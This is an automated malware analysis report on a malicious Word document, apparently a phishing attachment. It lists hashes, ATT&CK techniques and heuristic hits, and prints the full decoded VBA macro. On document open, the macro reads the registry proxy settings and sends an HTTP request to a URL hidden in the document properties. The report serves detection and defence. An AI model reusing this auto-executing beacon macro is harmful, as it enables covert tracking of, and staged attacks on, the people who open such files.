Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3ff65d12b8e14920…

MALICIOUS

Office (OLE)

39.5 KB Created: 2017-09-06 12:49:00 Authoring application: Microsoft Office Word First seen: 2018-07-04
MD5: 588eda4cbc571cb9190e8c1ace697324 SHA-1: cbc6c1a356a10187dc3fa25905421223b5c21bfa SHA-256: 3ff65d12b8e14920f92ee03aca6514341c1d2cfefef8a591606db2e30a172dfb
290 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros that utilize WScript.Shell to read proxy settings and then attempts to download content from a URL. The Document_Open macro executes a Ping subroutine which constructs a URL from document properties and attempts to download from it. This indicates the document's primary purpose is to act as a downloader for a second-stage payload, likely exploiting the user's trust in the document content.

Heuristics 9

  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
    Matched line in script
    Set s = CreateObject("wscript.Shell")
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Set s = CreateObject("wscript.Shell")
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set s = CreateObject("wscript.Shell")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
        Ping
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://powned.com&&012345678901234567890123456789012345678901234567890123456789 In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1258 bytes
SHA-256: 3db590f5661e81c2acd238bf108fa74a48fbddf5fb726016d2a55dce029cba9f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Ping()

Dim ProxyOn, ProxyServer, ProxyOverride
Dim h, hh, s
Dim u As String
u = Replace(ActiveDocument.BuiltInDocumentProperties(wdPropertyComments), "%3D", "=")

Set s = CreateObject("wscript.Shell")

On Error Resume Next

ProxyOn = s.RegRead("HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\" & "ProxyEnable")
ProxyServer = s.RegRead("HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\" & "ProxyServer")

Set h = CreateObject("WinHttp.WinHttpRequest.5.1")
Set hh = CreateObject("WinHttp.WinHttpRequest.5.1")

If ProxyOn = 1 Then
    h.SetProxy 2, ProxyServer
End If

hh.SetProxy 1, ProxyServer

On Error Resume Next

h.Open "GET", u, False
h.SetTimeouts 10000, 10000, 10000, 10000
h.Send

If Err.Number <> 0 Then
  On Error Resume Next
  hh.Open "GET", u, False
  hh.SetTimeouts 10000, 10000, 10000, 10000
  hh.Send
End If


End Sub


Private Sub Document_Open()
    Ping

End Sub